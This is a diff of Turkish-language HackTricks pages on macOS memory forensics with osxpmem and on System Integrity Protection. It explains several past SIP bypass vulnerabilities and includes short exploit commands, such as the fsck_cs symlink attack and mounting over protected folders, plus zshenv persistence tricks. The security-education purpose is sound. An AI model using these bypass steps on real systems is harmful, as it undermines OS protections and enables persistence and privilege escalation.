WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Bellek Kalıntıları
### Takas Dosyaları ### Takas Dosyaları
`/private/var/vm/swapfile0` gibi takas dosyaları, **fiziksel bellek dolu olduğunda önbellek olarak hizmet verir**. Fiziksel bellekte daha fazla yer olmadığında, veriler takas dosyasına aktarılır ve ihtiyaç duyulduğunda fiziksel belleğe geri getirilir. swapfile0, swapfile1 gibi isimlerle birden fazla takas dosyası bulunabilir. Takas dosyaları, `/private/var/vm/swapfile0` gibi, **fiziksel bellek dolduğunda önbellek olarak** hizmet eder. Fiziksel bellek dolduğunda, veriler bir takas dosyasına aktarılır ve ihtiyaç duyulduğunda tekrar fiziksel belleğe getirilir. swapfile0, swapfile1 gibi birden fazla takas dosyası bulunabilir.
### Uyku Görüntüsü ### Hibernasyon Görüntüsü
`/private/var/vm/sleepimage` konumundaki dosya, **uyku modunda** kritiktir. **OS X uyku modundayken bellek verileri bu dosyada depolanır**. Bilgisayar uyandığında, sistem bellek verilerini bu dosyadan alır ve kullanıcıya kaldığı yerden devam etme olanağı sağlar. `/private/var/vm/sleepimage` konumundaki dosya, **hibernasyon modunda** kritik öneme sahiptir. **OS X hibernasyona geçtiğinde bellek verileri bu dosyada saklanır**. Bilgisayar uyandığında, sistem bu dosyadan bellek verilerini alır ve kullanıcının kaldığı yerden devam etmesine olanak tanır.
Modern MacOS sistemlerinde, bu dosyanın genellikle güvenlik nedenleriyle şifrelendiğini ve kurtarmanın zor olduğunu belirtmek önemlidir. Modern MacOS sistemlerinde, bu dosyanın genellikle güvenlik nedenleriyle şifreli olduğunu ve kurtarmanın zor olduğunu belirtmek gerekir.
* Uyku görüntüsü için şifrelemenin etkin olup olmadığını kontrol etmek için `sysctl vm.swapusage` komutu çalıştırılabilir. Bu, dosyanın şifrelenip şifrelenmediğini gösterecektir. * sleepimage için şifrelemenin etkin olup olmadığını kontrol etmek için `sysctl vm.swapusage` komutu çalıştırılabilir. Bu, dosyanın şifreli olup olmadığını gösterecektir.
### Bellek Basıncı Günlükleri ### Bellek Baskı Günlükleri
MacOS sistemlerindeki bir diğer önemli bellek ile ilgili dosya **bellek basıncı günlükleri**dir. Bu günlükler `/var/log` konumunda bulunur ve sistem bellek kullanımı ve basınç olayları hakkında detaylı bilgiler içerir. Bellek ile ilgili sorunları teşhis etmek veya sistem belleğin zaman içinde nasıl yönetildiğini anlamak için oldukça yararlı olabilirler. MacOS sistemlerinde başka bir önemli bellekle ilgili dosya **bellek baskı günlüğü**dür. Bu günlükler `/var/log` konumunda bulunur ve sistemin bellek kullanımı ve baskı olayları hakkında ayrıntılı bilgi içerir. Bellekle ilgili sorunları teşhis etmek veya sistemin zamanla belleği nasıl yönettiğini anlamak için özellikle yararlı olabilir.
## osxpmem ile belleği dökme ## osxpmem ile bellek dökümü
Bir MacOS makinesinde belleği dökmek için [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) kullanabilirsiniz. Bir MacOS makinesinde belleği dökmek için [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) kullanabilirsiniz.
**Not**: Aşağıdaki talimatlar yalnızca Intel mimarisine sahip Mac'ler için çalışacaktır. Bu araç artık arşivlenmiştir ve son sürümü 2017'de yayınlanmıştır. Aşağıdaki talimatlarla indirilen ikili dosya, Apple Silicon'in 2017'de mevcut olmadığı için Intel çipleri hedef almaktadır. arm64 mimarisi için ikili dosyayı derlemek mümkün olabilir ancak bunu kendiniz denemelisiniz. **Not**: Aşağıdaki talimatlar yalnızca Intel mimarisine sahip Mac'ler için geçerlidir. Bu araç artık arşivlenmiştir ve son sürümü 2017'de çıkmıştır. Aşağıdaki talimatlarla indirilen ikili dosya, 2017'de Apple Silicon olmadığı için Intel yongalarını hedef alır. arm64 mimarisi için ikili dosyayı derlemek mümkün olabilir, ancak bunu kendiniz denemeniz gerekecek.
```bash ```bash
#Dump raw format #Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format #Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
``` ```
Eğer bu hatayı bulursanız: `osxpmem.app/MacPmem.kext yüklenemedi - (libkern/kext) kimlik doğrulama hatası (dosya sahipliği/izinleri); hatalar için sistem/kernel günlüklerini kontrol edin veya kextutil(8)'i deneyin` Bunun düzeltilmesi için şunu yapabilirsiniz: Eğer bu hatayı bulursanız: `osxpmem.app/MacPmem.kext yüklenemedi - (libkern/kext) kimlik doğrulama hatası (dosya sahipliği/izinleri); hatalar için sistem/kernel günlüklerini kontrol edin veya kextutil(8) deneyin` Bunu düzeltmek için:
```bash ```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/" sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext" sudo kextutil "/tmp/MacPmem.kext"
#Allow the kext in "Security & Privacy --> General" #Allow the kext in "Security & Privacy --> General"
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
``` ```
**Diğer hatalar**, sadece "Güvenlik ve Gizlilik --> Genel" bölümünde **kext'in yüklenmesine izin vererek** düzeltilebilir, sadece **izin verin**. **Diğer hatalar**, "Güvenlik ve Gizlilik --> Genel" bölümünde **kext'in yüklenmesine izin vererek** düzeltilebilir, sadece **izin verin**.
Uygulamayı indirmek, kext'i yüklemek ve belleği dökmek için bu **oneliner'ı** da kullanabilirsiniz: Ayrıca bu **tek satırlık komutu** uygulamayı indirmek, kext'i yüklemek ve belleği dökmek için kullanabilirsiniz:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
``` ```
{% endcode %} {% endcode %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize** edilip edilmediğini kontrol etmek için **ücretsiz** işlevler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** tarafından desteklenen bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## **Temel Bilgiler** ## **Temel Bilgiler**
macOS'taki **Sistem Bütünlüğü Koruması (SIP)**, en yetkili kullanıcıların bile ana sistem klasörlerinde yetkisiz değişiklikler yapmasını önlemek için tasarlanmış bir mekanizmadır. Bu özellik, korunan alanlarda dosya ekleme, değiştirme veya silme gibi eylemleri kısıtlayarak sistemin bütünlüğünü korumada kritik bir rol oynar. SIP tarafından korunan ana klasörler şunlardır: **Sistem Bütünlüğü Koruması (SIP)**, macOS'ta, en ayrıcalıklı kullanıcıların bile ana sistem klasörlerinde yetkisiz değişiklikler yapmasını önlemek için tasarlanmış bir mekanizmadır. Bu özellik, korunan alanlarda dosya ekleme, değiştirme veya silme gibi eylemleri kısıtlayarak sistemin bütünlüğünü korumada kritik bir rol oynar. SIP tarafından korunan ana klasörler şunlardır:
* **/System** * **/System**
* **/bin** * **/bin**
@ -47,7 +34,7 @@ Aşağıdaki örneği düşünün:
* /usr/local * /usr/local
* /usr/share/man * /usr/share/man
``` ```
Bu kesit, SIP'nin genel olarak **`/usr`** dizinini güvence altına aldığını, ancak belirli alt dizinlerde (`/usr/libexec/cups`, `/usr/local` ve `/usr/share/man`) değişikliklere izin verildiğini, yollarının önünde bulunan yıldız (\*) ile gösterildiğini ima etmektedir. Bu kesit, SIP'nin genel olarak **`/usr`** dizinini güvence altına aldığını, ancak belirli alt dizinlerde (`/usr/libexec/cups`, `/usr/local` ve `/usr/share/man`) değişikliklere izin verildiğini, yollarının önündeki yıldız (\*) ile gösterildiğini ima etmektedir.
Bir dizinin veya dosyanın SIP tarafından korunup korunmadığını doğrulamak için, **`ls -lOd`** komutunu kullanarak **`restricted`** veya **`sunlnk`** bayrağının varlığını kontrol edebilirsiniz. Örneğin: Bir dizinin veya dosyanın SIP tarafından korunup korunmadığını doğrulamak için, **`ls -lOd`** komutunu kullanarak **`restricted`** veya **`sunlnk`** bayrağının varlığını kontrol edebilirsiniz. Örneğin:
```bash ```bash
@ -72,13 +59,13 @@ Ayrıca, bir dosya **`com.apple.rootless`** genişletilmiş **özelliğini** iç
* NVRAM değişkenlerini değiştirme * NVRAM değişkenlerini değiştirme
* Çekirdek hata ayıklamaya izin verme * Çekirdek hata ayıklamaya izin verme
Seçenekler, nvram değişkeninde bir bit bayrağı olarak saklanır (`csr-active-config` Intel için ve `lp-sip0` ARM için başlatılan Aygıt Ağacından okunur). Bayrakları `csr.sh` dosyasında XNU kaynak kodunda bulabilirsiniz: Seçenekler, bir bit bayrağı olarak nvram değişkeninde saklanır (`csr-active-config` Intel için ve `lp-sip0` ARM için önyüklenen Aygıt Ağacından okunur). Bayrakları `csr.sh` dosyasında XNU kaynak kodunda bulabilirsiniz:
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
### SIP Durumu ### SIP Durumu
SIP'in sisteminizde etkin olup olmadığını aşağıdaki komutla kontrol edebilirsiniz: SIP'nin sisteminizde etkin olup olmadığını aşağıdaki komutla kontrol edebilirsiniz:
```bash ```bash
csrutil status csrutil status
``` ```
@ -103,17 +90,17 @@ csrutil enable --without debug
SIP'yi aşmak, bir saldırgana şunları sağlar: SIP'yi aşmak, bir saldırgana şunları sağlar:
* **Kullanıcı Verilerine Erişim**: Tüm kullanıcı hesaplarından hassas kullanıcı verilerini, örneğin e-posta, mesajlar ve Safari geçmişini okuma. * **Kullanıcı Verilerine Erişim**: Tüm kullanıcı hesaplarından hassas kullanıcı verilerini, örneğin e-posta, mesajlar ve Safari geçmişini okuma.
* **TCC Aşması**: TCC (Şeffaflık, Onay ve Kontrol) veritabanını doğrudan manipüle ederek, web kamerası, mikrofon ve diğer kaynaklara yetkisiz erişim sağlama. * **TCC Aşması**: TCC (Şeffaflık, Onay ve Kontrol) veritabanını doğrudan manipüle ederek, webcam, mikrofon ve diğer kaynaklara yetkisiz erişim sağlama.
* **Kalıcılık Sağlama**: SIP korumalı alanlara kötü amaçlı yazılım yerleştirme, bu da kök ayrıcalıkları ile bile kaldırılmasına dirençli hale getirir. Bu, Kötü Amaçlı Yazılım Kaldırma Aracı'nın (MRT) değiştirilmesi potansiyelini de içerir. * **Kalıcılık Sağlama**: SIP korumalı alanlara kötü amaçlı yazılım yerleştirme, bu da kök ayrıcalıklarıyla bile kaldırılmasına dirençli hale getirir. Bu, Kötü Amaçlı Yazılım Kaldırma Aracı'nın (MRT) değiştirilmesi potansiyelini de içerir.
* **Çekirdek Uzantılarını Yükleme**: Ek korumalara rağmen, SIP'yi aşmak, imzalanmamış çekirdek uzantılarını yükleme sürecini basitleştirir. * **Çekirdek Uzantılarını Yükleme**: Ek korumalara rağmen, SIP'yi aşmak, imzalanmamış çekirdek uzantılarını yükleme sürecini basitleştirir.
### Yükleyici Paketleri ### Yükleyici Paketleri
**Apple'ın sertifikası ile imzalanmış yükleyici paketleri**, korumalarını aşabilir. Bu, standart geliştiriciler tarafından imzalanmış paketlerin bile, SIP korumalı dizinleri değiştirmeye çalıştıklarında engelleneceği anlamına gelir. **Apple'ın sertifikasıyla imzalanmış yükleyici paketleri**, korumalarını aşabilir. Bu, standart geliştiriciler tarafından imzalanmış paketlerin bile, SIP korumalı dizinleri değiştirmeye çalıştıklarında engelleneceği anlamına gelir.
### Mevcut Olmayan SIP Dosyası ### Mevcut Olmayan SIP Dosyası
Bir potansiyel açık, **`rootless.conf`** dosyasında belirtilen ancak şu anda mevcut olmayan bir dosyanın oluşturulabilmesidir. Kötü amaçlı yazılım, bu durumu kullanarak sistemde **kalıcılık sağlama** fırsatını değerlendirebilir. Örneğin, kötü niyetli bir program, `rootless.conf` dosyasında listelenmiş ancak mevcut olmayan bir .plist dosyasını `/System/Library/LaunchDaemons` dizininde oluşturabilir. Bir potansiyel açık, **`rootless.conf`** dosyasında belirtilen ancak şu anda mevcut olmayan bir dosyanın oluşturulabilmesidir. Kötü amaçlı yazılım, bunu kullanarak sistemde **kalıcılık sağlama** fırsatını değerlendirebilir. Örneğin, kötü niyetli bir program, `rootless.conf` dosyasında listelenmiş ancak mevcut olmayan bir .plist dosyasını `/System/Library/LaunchDaemons` dizininde oluşturabilir.
### com.apple.rootless.install.heritable ### com.apple.rootless.install.heritable
@ -123,7 +110,7 @@ Bir potansiyel açık, **`rootless.conf`** dosyasında belirtilen ancak şu anda
#### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a> #### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a>
Sistem, kod imzasını doğruladıktan sonra **yükleyici paketini değiştirme** işleminin mümkün olduğu keşfedildi ve ardından sistem, orijinal yerine kötü amaçlı paketi yükleyecekti. Bu işlemler **`system_installd`** tarafından gerçekleştirildiği için SIP'yi aşmayı sağlıyordu. Sistem, kod imzasını doğruladıktan sonra **yükleyici paketini değiştirme** işleminin mümkün olduğu keşfedildi ve ardından sistem, orijinal yerine kötü amaçlı paketi yükleyecekti. Bu işlemler **`system_installd`** tarafından gerçekleştirildiği için, SIP'yi aşmayı sağlıyordu.
#### [CVE-20209854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a> #### [CVE-20209854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
@ -131,34 +118,34 @@ Bir paket, bir monte edilmiş görüntüden veya harici bir sürücüden yüklen
#### CVE-2021-30892 - Shrootless #### CVE-2021-30892 - Shrootless
[**Bu blog yazısından araştırmacılar**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) macOS'un Sistem Bütünlüğü Koruma (SIP) mekanizmasında, 'Shrootless' olarak adlandırılan bir güvenlik açığı keşfettiler. Bu güvenlik açığı, **`system_installd`** daemon'u etrafında döner ve bu daemon'un **`com.apple.rootless.install.heritable`** yetkisi, çocuk süreçlerinin SIP'nin dosya sistemi kısıtlamalarını aşmasına izin verir. [**Bu blog yazısından araştırmacılar**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) macOS'un Sistem Bütünlüğü Koruma (SIP) mekanizmasında, 'Shrootless' olarak adlandırılan bir zafiyet keşfettiler. Bu zafiyet, **`system_installd`** daemon'u etrafında döner ve bu daemon'un, **`com.apple.rootless.install.heritable`** yetkisi, herhangi bir çocuk sürecinin SIP'nin dosya sistemi kısıtlamalarını aşmasına izin verir.
**`system_installd`** daemon'u, **Apple** tarafından imzalanmış paketleri yükleyecektir. **`system_installd`** daemon'u, **Apple** tarafından imzalanmış paketleri yükleyecektir.
Araştırmacılar, Apple tarafından imzalanmış bir paket (.pkg dosyası) yüklenirken, **`system_installd`** paket içindeki herhangi bir **kurulum sonrası** betiği **çalıştırdığını** buldular. Bu betikler, varsayılan kabuk olan **`zsh`** tarafından çalıştırılır ve eğer mevcutsa, **`/etc/zshenv`** dosyasından komutları otomatik olarak **çalıştırır**, hatta etkileşimli modda bile. Bu davranış, saldırganlar tarafından istismar edilebilir: kötü niyetli bir `/etc/zshenv` dosyası oluşturarak ve **`system_installd`'nin `zsh`'yi çağırmasını** bekleyerek, cihazda rastgele işlemler gerçekleştirebilirler. Araştırmacılar, Apple tarafından imzalanmış bir paket (.pkg dosyası) yüklenirken, **`system_installd`** paket içindeki herhangi bir **kurulum sonrası** betiği **çalıştırdığını** buldular. Bu betikler, varsayılan kabuk olan **`zsh`** tarafından çalıştırılır ve eğer mevcutsa, **`/etc/zshenv`** dosyasından komutları otomatik olarak **çalıştırır**, hatta etkileşimli modda bile. Bu davranış, saldırganlar tarafından istismar edilebilir: kötü niyetli bir `/etc/zshenv` dosyası oluşturarak ve **`system_installd`'nin `zsh`'yi çağırmasını** bekleyerek, cihazda rastgele işlemler gerçekleştirebilirler.
Ayrıca, **`/etc/zshenv`** dosyasının yalnızca bir SIP aşması için değil, genel bir saldırı tekniği olarak kullanılabileceği keşfedildi. Her kullanıcı profili, `/etc/zshenv` ile aynı şekilde davranan bir `~/.zshenv` dosyasına sahiptir, ancak kök izinleri gerektirmez. Bu dosya, `zsh` her başladığında tetiklenecek bir kalıcılık mekanizması olarak veya ayrıcalık yükseltme mekanizması olarak kullanılabilir. Eğer bir yönetici kullanıcı `sudo -s` veya `sudo <komut>` ile kök yetkisine yükselirse, `~/.zshenv` dosyası tetiklenecek ve etkili bir şekilde kök yetkisine yükselecektir. Ayrıca, **`/etc/zshenv`** dosyasının yalnızca bir SIP aşması için değil, genel bir saldırı tekniği olarak da kullanılabileceği keşfedildi. Her kullanıcı profili, `/etc/zshenv` ile aynı şekilde davranan bir `~/.zshenv` dosyasına sahiptir, ancak kök izinleri gerektirmez. Bu dosya, `zsh` her başladığında tetiklenecek şekilde bir kalıcılık mekanizması olarak veya ayrıcalık yükseltme mekanizması olarak kullanılabilir. Eğer bir yönetici kullanıcı `sudo -s` veya `sudo <komut>` ile kök yetkisine yükselirse, `~/.zshenv` dosyası tetiklenecek ve etkili bir şekilde kök yetkisine yükselecektir.
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) dosyasında, aynı **`system_installd`** sürecinin hala kötüye kullanılabileceği keşfedildi çünkü **kurulum sonrası betiği SIP tarafından korunan rastgele adlandırılmış bir klasörün içine koyuyordu** ve bu klasör `/tmp` içindeydi. Sorun şu ki, **`/tmp`** kendisi SIP tarafından korunmamaktadır, bu nedenle **`/tmp`** üzerinde bir **sanallaştırılmış görüntü monte etmek** mümkündü, ardından **yükleyici** oraya **kurulum sonrası betiği** koyacak, **sanallaştırılmış görüntüyü** kaldıracak, tüm **klasörleri** yeniden oluşturacak ve **yüklemek için** **yükleme sonrası** betiği ile **yükü** ekleyecekti. [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) zafiyetinde, aynı **`system_installd`** sürecinin hala kötüye kullanılabileceği keşfedildi çünkü **kurulum sonrası betiği SIP tarafından korunan rastgele adlandırılmış bir klasörün içine koyuyordu** ve bu klasör `/tmp` içindeydi. Sorun şu ki, **`/tmp`** kendisi SIP tarafından korunmamaktadır, bu nedenle **sanallaştırılmış bir görüntüyü** üzerine **monte etmek** mümkündü, ardından **yükleyici** oraya **kurulum sonrası betiği** koyacak, **sanallaştırılmış görüntüyü** **kaldıracak**, tüm **klasörleri** **yeniden oluşturacak** ve **yüklemek için** **payload** ile birlikte **kurulum sonrası** betiği ekleyecektir.
#### [fsck\_cs aracı](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/) #### [fsck\_cs aracı](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
**`fsck_cs`** aracının, **sembolik bağlantıları** takip etme yeteneği nedeniyle kritik bir dosyayı bozduğu bir güvenlik açığı tespit edildi. Özellikle, saldırganlar _`/dev/diskX`_'den `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` dosyasına bir bağlantı oluşturdu. _`/dev/diskX`_ üzerinde **`fsck_cs`** çalıştırmak, `Info.plist` dosyasının bozulmasına yol açtı. Bu dosyanın bütünlüğü, işletim sisteminin SIP'si (Sistem Bütünlüğü Koruma) için hayati öneme sahiptir ve çekirdek uzantılarının yüklenmesini kontrol eder. Bozulduğunda, SIP'nin çekirdek hariç tutmalarını yönetme yeteneği tehlikeye girer. **`fsck_cs`** aracının, **sembolik bağlantıları** takip etme yeteneği nedeniyle kritik bir dosyayı bozduğu bir zafiyet tespit edildi. Özellikle, saldırganlar _`/dev/diskX`_'den `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` dosyasına bir bağlantı oluşturdu. _`/dev/diskX`_ üzerinde **`fsck_cs`** çalıştırmak, `Info.plist` dosyasının bozulmasına yol açtı. Bu dosyanın bütünlüğü, işletim sisteminin SIP'si (Sistem Bütünlüğü Koruma) için hayati öneme sahiptir ve çekirdek uzantılarının yüklenmesini kontrol eder. Bozulduğunda, SIP'nin çekirdek hariç tutmalarını yönetme yeteneği tehlikeye girer.
Bu güvenlik açığını istismar etmek için gereken komutlar: Bu zafiyeti istismar etmek için gereken komutlar:
```bash ```bash
ln -s /System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist /dev/diskX ln -s /System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist /dev/diskX
fsck_cs /dev/diskX 1>&- fsck_cs /dev/diskX 1>&-
touch /Library/Extensions/ touch /Library/Extensions/
reboot reboot
``` ```
Bu güvenlik açığının istismarı ciddi sonuçlar doğurmaktadır. Normalde çekirdek uzantıları için izinleri yönetmekten sorumlu olan `Info.plist` dosyası etkisiz hale gelir. Bu, `AppleHWAccess.kext` gibi belirli uzantıları kara listeye alma yeteneğinin kaybolmasını içerir. Sonuç olarak, SIP'nin kontrol mekanizması bozulduğunda, bu uzantı yüklenebilir ve sistemin RAM'ine yetkisiz okuma ve yazma erişimi sağlar. Bu güvenlik açığının istismarı ciddi sonuçlar doğurmaktadır. `Info.plist` dosyası, normalde çekirdek uzantıları için izinleri yönetmekten sorumlu olan, etkisiz hale gelir. Bu, `AppleHWAccess.kext` gibi belirli uzantıları kara listeye alma yeteneğinin kaybolmasını içerir. Sonuç olarak, SIP'nin kontrol mekanizması bozulduğunda, bu uzantı yüklenebilir ve sistemin RAM'ine yetkisiz okuma ve yazma erişimi sağlar.
#### [SIP korumalı klasörler üzerinde montaj yapma](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship) #### [SIP korumalı klasörler üzerinde montaj yapma](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
**Koruma atlamak için yeni bir dosya sistemini SIP korumalı klasörler üzerinde monte etmek** mümkündü. **Koruma atlamak için yeni bir dosya sistemini SIP korumalı klasörler üzerinde montaj yapmak** mümkündü.
```bash ```bash
mkdir evil mkdir evil
# Add contento to the folder # Add contento to the folder
@ -171,7 +158,7 @@ Sistem, OS'u yükseltmek için `Install macOS Sierra.app` içindeki gömülü bi
```bash ```bash
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
``` ```
Bu sürecin güvenliği, bir saldırganın yükseltme görüntüsünü (`InstallESD.dmg`) başlatmadan önce değiştirmesi durumunda tehlikeye girebilir. Strateji, dinamik bir yükleyiciyi (dyld) kötü niyetli bir sürümle (`libBaseIA.dylib`) değiştirmeyi içerir. Bu değişim, yükleyici başlatıldığında saldırganın kodunun çalıştırılmasına neden olur. Bu sürecin güvenliği, bir saldırganın yükseltme görüntüsünü (`InstallESD.dmg`) önyükleme öncesinde değiştirmesi durumunda tehlikeye girebilir. Strateji, dinamik bir yükleyiciyi (dyld) kötü niyetli bir sürümle (`libBaseIA.dylib`) değiştirmeyi içerir. Bu değişim, yükleyici başlatıldığında saldırganın kodunun çalıştırılmasına neden olur.
Saldırganın kodu, yükseltme süreci sırasında kontrolü ele geçirir ve sistemin yükleyiciye olan güvenini istismar eder. Saldırı, `InstallESD.dmg` görüntüsünü yöntem değiştirme (method swizzling) ile değiştirerek, özellikle `extractBootBits` yöntemini hedef alarak devam eder. Bu, disk görüntüsü kullanılmadan önce kötü niyetli kodun enjekte edilmesine olanak tanır. Saldırganın kodu, yükseltme süreci sırasında kontrolü ele geçirir ve sistemin yükleyiciye olan güvenini istismar eder. Saldırı, `InstallESD.dmg` görüntüsünü yöntem değiştirme (method swizzling) ile değiştirerek, özellikle `extractBootBits` yöntemini hedef alarak devam eder. Bu, disk görüntüsü kullanılmadan önce kötü niyetli kodun enjekte edilmesine olanak tanır.
@ -183,30 +170,30 @@ Ayrıca, `InstallESD.dmg` içinde, yükseltme kodunun kök dosya sistemi olarak
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a> #### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
[**bu blog yazısında detaylı olarak açıklandığı gibi**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), `InstallAssistant.pkg` paketlerinden bir `postinstall` betiği çalıştırılıyordu: [**bu blog yazısında detaylı olarak açıklandığı gibi**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), `InstallAssistant.pkg` paketlerinden bir `postinstall` betiği şunları çalıştırıyordu:
```bash ```bash
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg" /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
``` ```
and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` that would allow a user to **SIP korumasını atlayarak herhangi bir dosyayı kısıtlamaktan kurtulmak**. and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` that would allow a user to **unrestrict any file, bypassing SIP protection**.
### **com.apple.rootless.install** ### **com.apple.rootless.install**
{% hint style="danger" %} {% hint style="danger" %}
